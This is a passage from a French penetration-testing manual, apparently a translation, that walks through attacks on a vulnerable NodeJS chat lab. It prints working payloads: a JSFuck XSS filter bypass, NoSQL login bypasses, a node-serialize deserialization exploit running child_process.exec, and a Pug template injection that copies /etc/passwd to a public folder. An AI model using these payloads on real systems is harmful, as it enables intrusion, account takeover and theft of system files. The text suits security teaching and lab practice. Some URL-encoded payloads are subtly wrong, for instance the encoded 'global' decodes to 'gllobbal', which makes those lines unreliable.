Supposons que nous arrivions à une application qui utilise à la fois l’interpolation de chaînes avec échappement et un certain type de filtrage. Dans l’exercice suivant, nous avons un script de filtrage de liste noire minimal qui est exécuté dans le serveur NodeJS en rejetant des caractères comme «<», «>» et «alert». Mais, encore une fois, ils ont fait l’erreur de mettre notre interpolation de chaîne avec échappement dans une balise script. Si nous arrivons à glisser du JavaScript là-dedans, nous pourrions avoir une attaque XSS :
	Allez à Exercise #5.

	Le code source du modèle Pug :
	name5 = req.query.name5.replace(/[;’”<>=]|alert/g,””)
script.
	 var user3 = #{name5};





	Essayez d’entrer la charge utile :
	Vous pouvez essayer alert(1), mais cela ne fonctionnera pas à cause du filtre. Vous pouvez aussi essayer des choses comme <script>alert(1)</script>, mais le code échappé et le filtre nous interceptent. Que pourrions-nous faire si nous voulions vraiment obtenir notre charge utile alert(1) ?



	Nous devons trouver comment contourner le filtre pour insérer du code JavaScript brut. Rappelez-vous que JavaScript est extrêmement puissant et a des tas de fonctionnalités. Nous pouvons en abuser pour créer des charges utiles créatives. Une manière de contourner ces filtres est d’utiliser une notation JavaScript dite ésotérique. Ceci peut être créé par le biais d’un site appelé http://www.jsfuck.com/. Comme vous pouvez le voir ci-dessous, en utilisant des crochets, des parenthèses, des symboles et des points d’exclamation, nous pouvons recréer alert(1).

	Charge utile JSF*ck :


[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

Cette technique est illustrée sur la Figure 3.13.
[image: FIGURE 3.13 : Injecter du code JavaScript ésotérique.]
FIGURE 3.13 : Injecter du code JavaScript ésotérique.
Comme vous le savez, de nombreux navigateurs ont commencé à inclure des protections XSS. Nous avons même utilisé ces charges utiles pour contourner certaines protections de navigateurs. Essayez de les utiliser dans votre navigateur courant en dehors de Kali, comme par exemple Chrome.
XSS n’est pas quelque chose de simple contre lequel se protéger dans le cas d’applications complexes. Il est facile de ne pas comprendre ou de mal comprendre comment un framework traite les intrants et les extrants. Ainsi, lorsque vous effectuez un examen du code source pour les applications Pug/NodeJS, la recherche de caractères !{, #{, ou encore `${ dans ce code source est utile pour identifier les emplacements de failles XSS potentielles. Il est vital d’être conscient du contexte, et de savoir si l’échappement est nécessaire ou non dans ce contexte, comme nous le verrons dans les exemples suivants.
Même si ces attaques étaient spécifiques à Node et Pug, chaque langage a ses problèmes par rapport à XSS et la validation des entrées. Vous ne pourrez pas simplement exécuter un analyseur de vulnérabilité ou un outil de fuzzing4 XSS, et trouver toutes les vulnérabilités XSS. Vous devez vraiment comprendre le langage et les frameworks utilisés.


De XSS à l’exploitation
Une question que l’on me pose souvent est : comment puis-je passer d’un XSS à un shell ? Bien qu’il existe de nombreuses façons différentes de s’y prendre, nous constatons généralement que, si nous pouvons obtenir une faille XSS de style utilisateur-administrateur dans un système de gestion de contenu (CMS) ou similaire, alors cela peut conduire à une compromission totale du système. Un exemple complet de visite guidée et un code peuvent être trouvés ici à l’adresse https://github.com/Varbaek/xsser. Hans-Michael Varbaek a présenté d’excellents exemples et vidéos d’exécution de code distant (RCE) à partir d’une faille XSS.
Une attaque Red Team personnalisée que j’aime utiliser implique de tirer parti des fonctionnalités de JavaScript. Nous savons que JavaScript est extrêmement puissant, et nous avons vu de telles fonctionnalités dans BeEF (Browser Exploitation Framework). Par conséquent, nous pouvons utiliser toutes ces fonctionnalités pour effectuer une attaque à l’insu de la victime. Que ferait cette charge utile ? Un exemple d’attaque de ce type serait que la charge utile XSS JavaScript qui s’exécute sur une machine victime saisisse l’adresse IP locale (avec NAT) de cette victime. Nous pouvons alors prendre leur adresse IP et commencer à scanner leur réseau interne avec notre charge utile. Si nous trouvons une application Web connue qui permet une compromission sans authentification, nous pouvons alors envoyer une charge utile malveillante à ce serveur.
Par exemple, notre cible pourrait être un serveur Jenkins, dont nous savons que, s’il n’est pas authentifié, il permet une exécution complète du code à distance. Pour une présentation complète d’une compromission XSS sur un serveur Jenkins, voyez le Chapitre 5.

Injections NoSQL
Dans les éditions précédentes, nous avions passé pas mal de temps à apprendre à faire des injections SQL et à utiliser SQLMap (http://sqlmap.org/). Mis à part un peu d’obscurcissement et d’intégration dans Burp Suite, peu de choses ont changé depuis lors. Au lieu de cela, nous allons nous intéresser de plus près aux injections NoSQL, car ces bases de données sont de plus en plus répandues.
Les bases de données SQL traditionnelles, telles que MySQL, MSSQL et Oracle, reposent sur des données structurées dans des bases de données relationnelles. Relationnelles signifie que les données d’une table ont une relation avec les données d’autres tables. Cela permet d’effectuer facilement des requêtes telles que « Donnez-moi tous les clients qui ont acheté quelque chose au cours des 30 derniers jours ». La question, concernant ces données, est que leur format doit être cohérent dans l’ensemble de la base. Les bases de données NoSQL sont constituées de données qui ne suivent généralement pas le modèle tabulaire/relationnel tel qu’il apparaît dans les bases de données SQL classiques. Ces données, appelées « données non structurées » (comme les images, les vidéos, les médias sociaux, etc.), ne fonctionnent pas réellement avec nos collectes massives d’informations.
Fonctionnalités NoSQL :
	Types de bases de données NoSQL : CouchDB/MongoDB

	Données non structurées

	Développement horizontal


Dans les injections SQL traditionnelles, un attaquant tentait de « craquer » une requête SQL et de modifier cette requête côté serveur. Avec les injections NoSQL, les attaques peuvent s’exécuter dans d’autres domaines d’une application qu’avec les injections SQL traditionnelles. De plus, dans les injections SQL traditionnelles, un attaquant utiliserait une marque pour s’échapper. Dans les injections NoSQL, les vulnérabilités existent généralement lorsqu’une chaîne est analysée ou évaluée dans un appel NoSQL.
Les vulnérabilités dans des injections NoSQL surviennent généralement lorsque : (1) le terminal accepte des données JSON dans la requête vers les bases de données NoSQL, et (2) nous pouvons manipuler la requête en utilisant les opérateurs de comparaison NoSQL pour modifier cette requête.
Un exemple courant d’injection NoSQL consisterait à injecter quelque chose comme : [{«$gt»:»»}]. Cet objet JSON dit essentiellement que l’opérateur ($gt) est supérieur à NULL («»»). Puisque logiquement tout est plus grand que NULL, l’objet JSON devient une vraie instruction, nous permettant de contourner des requêtes NoSQL ou d’y effectuer des injections. Cela équivaudrait à [‘ or 1=1--] dans le monde des injections SQL. Avec MongoDB, nous pouvons utiliser l’un des opérateurs de condition suivants :
	(>) plus grand que - $gt

	(<) plus petit que - $lt

	(>=) plus grand ou égal à - $gte

	(<= ) plus petit ou égal à - $lte


Attaquer l’application NoSQL du système de support client
Tout d’abord, parcourez le flux NoSQL dans l’application Chat :
	Dans un navigateur, avec Burp Suite comme proxy, accédez à l’application Chat : http://chat:3000/nosql

	Essayez de vous authentifier avec n’importe quel nom d’utilisateur et mot de passe. Regardez le trafic POST qui a été envoyé lors de cette demande d’authentification dans Burp Suite (voir la Figure 3.14).


[image: FIGURE 3.14 : Observer le trafic avec Burp Suite.]
FIGURE 3.14 : Observer le trafic avec Burp Suite.
Dans notre application Chat, nous allons voir que lors de l’authentification sur le terminal /loginnosql, nos données POST vont contenir les éléments suivants :
{“username”:”admin”,”password”,”GuessingAdminPassword”}

Il est assez courant de voir JSON utilisé dans les requêtes POST pour authentifier un utilisateur, mais, si nous définissons nos propres objets JSON, nous pourrions être capables d’utiliser différentes instructions conditionnelles pour créer de vraies instructions. Cela équivaudrait en fait à l’instruction SQLi traditionnelle 1=1 et à l’authentification par bypass (contournement d’accès). Voyons si nous pouvons injecter cela dans notre application.

Code source côté serveur
Dans la partie NoSQL de l’application Chat, nous allons voir la requête JSON POST comme auparavant. Même si, en tant que test de type « boîte noire », nous ne pourrions pas voir le code source côté serveur, nous pouvons nous attendre à ce qu’il interroge le backend MongoDB d’une manière similaire à celle-ci :
db.collection(collection).find({“username”:username, “password”:password}).limit(1)…


Injection dans le chat NoSQL
Comme nous pouvons le voir à partir du code source côté serveur, nous prenons le nom d’utilisateur et le mot de passe fournis par l’utilisateur pour rechercher une correspondance dans la base de données. Si nous pouvons modifier la requête POST, nous pourrons peut-être effectuer une injection dans la requête de la base de données.
	Dans un navigateur, avec Burp Suite comme proxy, accédez à l’application Chat : http://chat:3000/nosql.

	Activez Intercept dans Burp Suite, cliquez sur Login, puis soumettez un nom d’utilisateur en tant qu’administrateur et un mot de passe comme GuessingAdminPassword.

	Interceptez la requête POST dans le trafic.

	Changez {“username”:”admin”,”password”,”GuessingAdminPassword”} en {“username”:”admin”,”password”:{“$gt”:””}}

	Vous devriez maintenant être connecté en tant qu’administrateur !


C’est ce qu’illustre la Figure 3.15.
Que s’est-il passé ici ? Nous avons changé la chaîne «GuessingAdminPassword» en un objet JSON {«$gt» :»»}, qui est l’instruction TRUE, puisque tout ce qui est plus grand que NULL est vrai. Ceci a modifié la requête POST en {«username»:»admin»,»password»:TRUE}, qui rend automatiquement la requête TRUE et se connecte en tant qu’administrateur sans aucune connaissance du mot de passe, reproduisant l’attaque 1=1 dans SQLi.
[image: FIGURE 3.15 : Injection NoSQL.]
FIGURE 3.15 : Injection NoSQL.

NoSQLi avancé
Les injections NoSQL ne sont pas nouvelles, mais le but dans ce chapitre est de montrer comment de nouveaux frameworks et langages peuvent potentiellement introduire de nouvelles vulnérabilités. Par exemple, Node.js a un module qs qui a une syntaxe spécifique pour convertir les paramètres de requête HTTP en objets JSON. Le module qs est utilisé par défaut dans Express comme partie du middleware (ou interlogiciel) ‘body-parser’ (https://www.npmjs.com/package/qs).
Si le module qs est utilisé, les requêtes POST seront converties côté serveur en JSON si vous utilisez la notation avec crochets dans les paramètres.
Par conséquent, une requête POST qui se présente ainsi :
username[value]=admin&password[value]=admin

sera convertie en :
{“username”: {“value”:”admin”}, “password”:{“value”:”admin”}}

Maintenant, le module qs acceptera et convertira également les paramètres POST pour épauler le NoSQLi :
	Par exemple, nous pouvons avoir une requête POST comme celle-ci :
	username=admin&password[$gt]=



	Ce que la conversion des requêtes côté serveur traduirait en :
	{«username»:»admin», «password»:{«$gt»:»»}



	Ceci ressemble maintenant à l’attaque NoSQLi d’origine.


Maintenant, notre requête est identique à celle que nous avions dans la section précédente. Voyons cela en action :
	Rendez-vous sur http://chat:3000/nosql2.

	Activez le mode Intercept dans Burp.

	Connectez-vous avec admin:anything.

	Modifiez le paramètre POST :
	username=admin&password[$gt]=&submit=login




Cette procédure est illustrée sur la Figure 3.16.
[image: FIGURE 3.16 : Attaque NoSQLi avancée.]
FIGURE 3.16 : Attaque NoSQLi avancée.
Vous devriez être connecté avec admin ! Vous avez exécuté l’injection NoSQL à l’aide de l’analyseur qs utilisé par le framework Express dans le cadre du middleware body-parser. Mais attendez, il y a plus ! Comment faire si vous ne savez pas quels noms d’utilisateur attaquer ? Pourrions-nous utiliser cette même attaque pour trouver d’autres comptes et nous y connecter ?
Et si, au lieu de la comparaison de mots de passe, on essayait aussi sur le nom d’utilisateur ? Dans ce cas, la requête POST NoSQLi ressemblerait à quelque chose comme ceci :
username[$gt]=admin&password[$gt]=&submit=login

La requête POST ci-dessus interroge pour l’essentiel la base de données pour trouver le prochain nom d’utilisateur supérieur à admin avec le champ du mot de passe résultant en une instruction TRUE. En cas de succès, vous devriez être connecté en tant que prochain utilisateur, selon l’ordre alphabétique, après admin. Continuez ainsi jusqu’à ce que vous trouviez le super compte.
Voici d’autres charges utiles NoSQL :
https://bit.ly/2wSrsXn
https://bit.ly/2MMqc2R



Attaques de désérialisation
Au cours des dernières années, les attaques de sérialisation/désérialisation via le Web sont devenues de plus en plus populaires. Nous avons assisté à de nombreuses conférences BlackHat, découvert des vulnérabilités critiques dans des applications courantes telles que Jenkins et Apache Struts 2, et nous voyons beaucoup de recherches actives se développer comme ysoserial (https://github.com/frohoff/ysoserial). Quel est donc le problème avec les attaques de désérialisation ?
Avant de commencer, nous devons comprendre pourquoi nous sérialisons. Il y a de nombreuses raisons de sérialiser les données, mais il s’agit le plus souvent de générer une représentation stockable d’une valeur/donnée sans perdre son type ou sa structure. La sérialisation convertit les objets en un flux d’octets à transférer sur le réseau ou à stocker. Habituellement, la méthode de conversion implique XML, JSON, ou une méthode de sérialisation spécifique au langage.
Désérialisation dans NodeJS
Souvent, trouver des vulnérabilités complexes nécessite une connaissance approfondie d’une application. Dans notre scénario, l’application NodeJS Chat utilise une version vulnérable de serialize.js (https://github.com/luin/serialize). Cette bibliothèque s’est avérée vulnérable à l’exploitation en raison du fait que « des données non fiables passées dans la fonction unserialize() peuvent être exploitées pour obtenir une exécution arbitraire de code en passant un objet JavaScript avec une expression de fonction invoquée immédiatement (IIFE5) » (https://bit.ly/2XhbuVw).
Passons en revue les détails d’une attaque pour mieux comprendre ce qui se passe. Tout d’abord, nous étudions le fichier serialize.js et nous faisons une recherche rapide pour trouver le mot-clé eval (https://bit.ly/2XU2nr6). C’est ce qu’illustre la Figure 3.17.
[image: FIGURE 3.17 : Recherche du mot-clé eval dans serialize.js.]
FIGURE 3.17 : Recherche du mot-clé eval dans serialize.js.
De manière générale, permettre à l’utilisateur de pénétrer dans une instruction JavaScript eval est une mauvaise nouvelle, car eval() exécute du JavaScript brut. Si un attaquant arrive à injecter du JavaScript dans cette instruction, il sera capable d’exécuter du code à distance sur le serveur.
Deuxièmement, nous devons créer une charge utile sérialisée qui sera désérialisée et exécutée par eval avec notre charge utile JavaScript require(‘child_process’). exec(‘ls’) :
{“thp”:”_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘DO SYSTEM COMMANDS HERE’, function(error, stdout, stderr) { console.log(stdout) });}()”}

L’objet JSON ci-dessus passera la requête (){require(‘child_process’).exec(‘ls’) dans l’instruction eval de la fonction unserialize, ce qui nous donne une exécution du code à distance. La dernière partie à noter est que les parenthèses de fin ont été ajoutées, car sans elles notre fonction ne serait pas appelée. Ajin Abraham, le chercheur qui a découvert cette vulnérabilité, a identifié que le fait d’utiliser une expression IIFE permettrait d’exécuter la fonction après sa création. Pour plus de détails sur cette vulnérabilité, voyez notamment l’adresse https://bit.ly/2XhbuVw.
Dans notre exemple d’application Chat, nous allons examiner la valeur du cookie, qui est en cours de désérialisation en utilisant cette bibliothèque vulnérable :
	Rendez-vous sur http://chat:3000.

	Avec Burp Suite comme Proxy, cliquez sur Intercept et rechercher les cookies.

	Identifiez un cookie nommé « donotdecodeme ».

	Copiez ce cookie dans le décodeur de Burp Suite, et choisissez Base64 pour le décoder.


Cette procédure est illustrée sur la Figure 3.18.
Comme cela a été mentionné précédemment, chaque langage a ses particularités uniques, et NodeJS n’est pas différent des autres. Dans Node/Express/Pug, vous ne pouvez pas écrire directement dans le répertoire Web et le rendre accessible comme en PHP. Il doit y avoir un chemin spécifié vers un dossier qui soit accessible à la fois en écriture et au public sur Internet.
[image: FIGURE 3.18 : Décodage de cookie dans Burp Suite.]
FIGURE 3.18 : Décodage de cookie dans Burp Suite.

Créer la charge utile
	Avant de commencer, rappelez-vous que toutes ces charges utiles pour notre labo sont dans un format facile à copier/coller, répertorié ici : http://bit.ly/2qBDrFo

	Prenez la charge utile d’origine et modifiez l’exécution de votre shell (‘COMMANDES SYSTÈME ICI’).
	{«thp»:»_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘COMMANDES SYSTÈME ICI’, function(error, stdout, stderr) { console.log(stdout) });}()»}



	Exemple :
	{“thp”:”_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘echo node deserialization is awesome!! >> /opt/web/chatSupportSystems/public/hacked.txt’, function(error, stdout, stderr) { console.log(stdout) });}()”}



	Comme le cookie original a été encodé, nous devrons aussi encoder notre charge utile en base64 via le décodeur/encodeur de Burp. L’exemple de charge utile ci-dessus donnera ceci :
	eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2VjaG8gbm9kZSBkZXNlcmlhbGl6YXRpb24gaXMgYXdlc29tZSEhID4+IC9vcHQvd2ViL2NoYXRTdXBwb3J0U3lzdGVtcy9wdWJsaWMvaGFja2VkLnR4dCcsIGZ1bmN0aW9uKGVycm9yLCBzdGRvdXQsIHN0ZGVycikgeyBjb25zb2xlLmxvZyhzdGRvdXQpIH0pO30oKSJ9



	Déconnectez-vous, activez Intercept dans Burp et envoyez une requête pour / (home). Modifiez le cookie pour qu’il corresponde à la charge utile Base64 nouvellement créée.

	Transférez le trafic et, comme le dossier public est un chemin pour /, vous devriez pouvoir ouvrir un navigateur et accéder à http://chat:3000/hacked.txt.

	Vous avez maintenant une exécution de code à distance ! N’hésitez pas à effectuer une postexploitation sur ce système. Commencez par essayer de lire /etc/passwd.


Ce schéma est illustré sur la Figure 3.19.
Dans le code source du module node-serialize, nous voyons que l’expression de la fonction est en cours d’évaluation, ce qui est un problème sérieux pour toute application JavaScript/NodeJS qui traite ainsi l’entrée utilisateur (voir la Figure 3.20). Cette mauvaise pratique nous a permis de compromettre cette application.
Références :
	https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

	https://github.com/luin/serialize

	https://snyk.io/test/npm/node-serialize?severity=high&severity=medium&severity=low

	https://blog.websecurify.com/2017/02/hacking-node-serialize.html


[image: FIGURE 3.19 : La charge utile est placée dans un cookie.]
FIGURE 3.19 : La charge utile est placée dans un cookie.
[image: FIGURE 3.20 : Une compromission trop facile.]
FIGURE 3.20 : Une compromission trop facile.


Attaques de moteur de template – Injections de template
Les moteurs de templates (ou de modèles) sont de plus en plus utilisés en raison de leur modularité et de leur code succinct par comparaison avec le HTML standard. L’injection de template correspond au moment où l’entrée de l’utilisateur est passée directement dans les templates de rendu, ce qui permet de modifier le template sous-jacent. Ceci peut se produire intentionnellement dans les wikis, les applications WYSYWIG, ou les modèles d’email. Il est rare que cela se produise involontairement, c’est pourquoi on l’interprète souvent à tort comme étant une simple attaque XSS. L’injection de template permet souvent à l’attaquant d’accéder au système d’exploitation sous-jacent pour obtenir l’exécution de code à distance.
Dans notre prochain exemple, vous allez effectuer des attaques par injection de template sur notre application NodeJS via Pug. Nous nous exposons involontairement à l’injection de template avec une méta redirection avec l’entrée de l’utilisateur, qui est rendue directement dans Pug en utilisant les caractères littéraux ‘${}}’. Il est important de noter que les littéraux de template permettent l’utilisation de caractères de saut de ligne, ce qui est nécessaire pour que nous puissions sortir de la balise de paragraphe puisque Pug est sensible aux caractères d’espacement et de saut de ligne, de manière similaire à Python.
Dans Pug, le premier caractère ou mot représente un mot-clé Pug qui désigne une balise ou une fonction. Vous pouvez également spécifier des chaînes multilignes en utilisant l’indentation comme illustré ci-dessous :
	p.
	Il s’agit d’une indentation de paragraphe.

	Cela fait toujours partie de la balise paragraphe.




Voici un exemple de ce à quoi ressembleraient du HTML et un template Pug équivalent :
HTML :
<div>
<h1>Au menu</h1>
<ul>
<li>Hotdogs</li>
<li>Pizza</li>
<li>Fromage</li>
</ul>
<p>Miam J’adore manger !</p>
</div>
 
PUG Markup:
div
h1 Au menu
ul
li Hotdogs
li Pizza
li Fromage
p. Miam J’adore manger !

Avec les templates et l’interpolation de chaînes de caractères, nous pouvons créer des modèles rapides, réutilisables et efficaces.
Exemple d’injection de template
L’application Chat est vulnérable à une attaque par injection de template. Dans l’application qui suit, nous allons voir si nous arrivons à interagir avec le système de template de Pug. Ceci peut généralement être fait en vérifiant si le paramètre d’entrée que nous fournissons peut traiter les opérations de base. James Kettle a écrit un excellent article sur ces attaques et sur l’interaction avec les systèmes de templates sous-jacents (http://ubm.io/2ECTYSi).
Interagir avec Pug :
	Accédez à http://chat:3000 et connectez-vous avec n’importe quel compte valide.

	Placez-vous sur http://chat:3000/directmessage et entrez utilisateur, commentaire et ‘Send’.

	Ensuite, retournez à directmessage et essayez d’entrer une charge utile XSS dans le paramètre utilisateur, disons <script>alert(1)</script> :
	http://chat:3000/ti?user=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&comment=&link=


Cela montre que l’application est vulnérable à XSS, mais pouvons-nous interagir avec le système de template ?

	Dans l’historique de Burp, vérifiez la requête/réponse du serveur jusqu’au point /ti?user=, et renvoyez la requête à Burp (ctrl + r).


Les Figures 3.21 et 3.22 illustrent respectivement le message envoyé, la requête correspondante et la réponse du serveur.

Tests pour les opérations de base
Nous pouvons tester notre paramètre de vulnérabilité XSS pour les injections de template en le passant dans une chaîne arithmétique. Si notre entrée est évaluée, elle identifiera le fait qu’il y a bien vulnérabilité à l’injection de template. En effet, les templates, comme les langages de codage, peuvent facilement prendre en charge l’évaluation des opérateurs arithmétiques.
Tester les opérateurs de base :
	Dans Burp Repeater, testez chacun des paramètres sur /ti pour l’injection de template. Nous pouvons le faire en passant une opération mathématique telle que 9*9.

	Nous pouvons voir que cela n’a pas fonctionné, et que nous n’en avons pas obtenu 81. Gardez présent à l’esprit le fait que notre entrée utilisateur est enveloppée à l’intérieur de balises de paragraphe, de sorte que nous pouvons supposer que notre code de template Pug ressemble à quelque chose comme ceci :


[image: FIGURE 3.21 : Message envoyé à l’utilisateur dans l’application Chat.]
FIGURE 3.21 : Message envoyé à l’utilisateur dans l’application Chat.
[image: FIGURE 3.22 : La requête correspondante et la réponse renvoyée dans Burp.]
FIGURE 3.22 : La requête correspondante et la réponse renvoyée dans Burp.
p Message has been sent to !{user}

La Figure 3.23 illustre respectivement la requête envoyée et la réponse du serveur.
[image: FIGURE 3.23 : La requête et la réponse.]
FIGURE 3.23 : La requête et la réponse.
Tirer avantage des caractéristiques du Pug :
	Comme nous l’avons mentionné précédemment, Pug utilise une délimitation par des espaces vierges (de manière similaire à Python) et les nouvelles lignes commencent une nouvelle entrée de template. Ceci signifie que, si nous pouvons sortir de la ligne courante dans Pug, nous pouvons exécuter un nouveau code de template. Dans ce cas, nous allons sortir de la balise de paragraphe (<p>), comme indiqué ci-dessus, et exécuter un nouveau code de template malveillant. Pour que cela fonctionne, nous allons devoir utiliser un encodage URL pour exploiter cette vulnérabilité (http://bit.ly/2qxeDiy).

	Passons en revue chacune des exigences à respecter pour effectuer l’injection de template :
	Tout d’abord, nous devons provoquer un changement de ligne et sortir du template actuel. Ceci peut être réalisé grâce au caractère %0a.

	Deuxièmement, nous pouvons utiliser la fonction arithmétique dans Pug en utilisant un signe ‘=’, encodé par %3d.

	Enfin, nous pouvons introduire notre équation mathématique, 9*9.



	Ainsi, la charge utile finale ressemblera à ceci :
	[code nouvelle ligne]=9*9

	URL codé :
	GET /ti?user=%0a%3d9d9*9&comment=&link=&link=





	Maintenant, /ti?user=%0a%3d9*9 nous donne 81 dans le corps de la réponse (voir la Figure 3.24). Vous avez identifié l’injection de template dans le paramètre utilisateur ! Obtenons alors l’exécution de code à distance en abusant JavaScript.


[image: FIGURE 3.24 : À nouveau, la requête et la réponse.]
FIGURE 3.24 : À nouveau, la requête et la réponse.
Comme vous pouvez le voir dans la réponse, au lieu du nom de l’utilisateur, nous obtenons « 81 » à l’extérieur des balises de paragraphe ! Cela signifie que nous avons pu effectuer une injection dans le template.
Nous savons maintenant que nous avons une certaine sorte d’injection de template et que nous sommes capables d’effectuer des calculs simples, mais nous avons besoin de voir si nous pouvons obtenir une exécution de shell. Pour cela, nous devons trouver la bonne fonction pour effectuer cette exécution dans Node/JavaScript.
	Tout d’abord, nous allons identifier la racine de l’objet global self, et nous déterminerons à quels modules et fonctions nous avons accès. Nous voulons éventuellement utiliser la fonction Require pour importer le processus enfant (child_process) .exec afin d’exécuter des commandes du système d’exploitation. Dans Pug, le caractère ‘=’ nous permet d’afficher les résultats JavaScript. Nous allons commencer par accéder à la racine globale :
	[code nouvelle ligne]=global

	L’expression ci-dessus convertie en encodage URL à l’aide de l’outil Decoder de Burp devient :
	%0a%3d%20%67%6c%6c%6f%62%62%61%6c





	Utilisez la chaîne d’encodage URL ci-dessus comme valeur utilisateur et renvoyez-la.

	Si tout se passe bien après avoir soumis la requête préalable, nous verrons [object global], ce qui signifie que nous avons accès à l’objet global (voir la Figure 3.25).


Analysons l’objet global :
	Voyons à quels objets et propriétés nous avons accès en utilisant l’itérateur Pug ‘each’ dans global. N’oublions pas le changement de ligne (%0a) et les espacements (%20) :
	each val,index in global
p= index

	L’expression ci-dessus convertie en encodage URL à l’aide de l’outil Decoder de Burp devient :
	%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e%20%67%6c%6f%62%61%6c%0a%20%20%70%3d%20%69%6e%64%65%78





	Dans l’exemple ci-dessus, nous utilisons l’itérateur ‘each’, qui peut accéder à une valeur et éventuellement à un indice si nous spécifions soit des tableaux soit des objets. Nous essayons de trouver à quels objets, méthodes ou modules nous avons accès dans l’objet global. Notre but ultime est de trouver quelque chose comme la méthode ‘require’ pour nous permettre de « requérir » le processus enfant .exec, qui nous permet d’exécuter des commandes système. À partir de maintenant, nous procédons simplement par essais et erreurs pour identifier les méthodes ou les objets qui nous donneront éventuellement la méthode requise.


[image: FIGURE 3.25 : Nouvelle requête, nouvelle réponse.]
FIGURE 3.25 : Nouvelle requête, nouvelle réponse.
La Figure 3.26 illustre cette procédure.
Recherche de la fonction d’exécution de code :
	Depuis la requête précédente, nous avons vu tous les objets qui se trouvent dans global dont un appelé ‘process’. Ensuite, nous devons identifier les objets intéressants auxquels nous avons accès dans global.process :
	each val,index in global.process
p= index

	L’expression ci-dessus convertie en encodage URL à l’aide de l’outil Decoder de Burp devient :
	%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e%20%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%0a%20%20%70%3d%20%69%6e%64%65%78






[image: FIGURE 3.26 : Requête et réponse pour l’analyse de l’objet global.]
FIGURE 3.26 : Requête et réponse pour l’analyse de l’objet global.
	Nous avons choisi ‘process’ parmi toutes les méthodes disponibles parce que nous savions qu’il conduirait tôt ou tard à ‘require’. Vous pouvez essayer le processus par essais et erreurs en choisissant différentes méthodes d’itération :
	each val,index in global.process.mainModule
p= index

	L’expression ci-dessus convertie en encodage URL à l’aide de l’outil Decoder de Burp devient :
	%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e%20%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%0a%20%20%70%3d%20%69%6e%64%65%78






La Figure 3.27 illustre cette procédure.
Exécution de code à distance :
	En envoyant cette charge utile finale, nous devrions voir la fonction ‘require’ dans global.process.mainModule. Nous pouvons maintenant définir ceci pour importer un ‘child_process’ (processus enfant) avec .exec pour obtenir une exécution de code à distance (RCE) :
	- var x = global.process.mainModule.require

	- x(‘child_process’).exec(‘cat /etc/passwd >> /opt/web/chatSupportSystems/public/accounts.txt’)




[image: FIGURE 3.27 : Requête et réponse pour l’analyse de la méthode process.]
FIGURE 3.27 : Requête et réponse pour l’analyse de la méthode process.
	Encodage URL :
	%0a%2d%20%76%61%72%20%78%20%3d%20%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%20%0a%2d%20%78%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%3e%3e%20%2f%6f%70%74%2f%77%65%62%2f%63%68%61%74%53%75%70%70%6f%72%74%53%79%73%74%65%6d%73%2f%70%75%62%6c%69%63%2f%61%63%63%6f%75%6e%74%73%2e%74%78%74%27%29



	Dans l’exemple ci-dessus, nous définissons une variable ‘x’, comme nous le ferions en JavaScript, mais le tiret au début de la ligne indique une sortie cachée (non stockée dans le buffer). Nous utilisons l’objet global avec les modules dont nous avions besoin pour obtenir finalement ‘require’, ce qui nous permet de faire appel à .exec pour exécuter des commandes système.

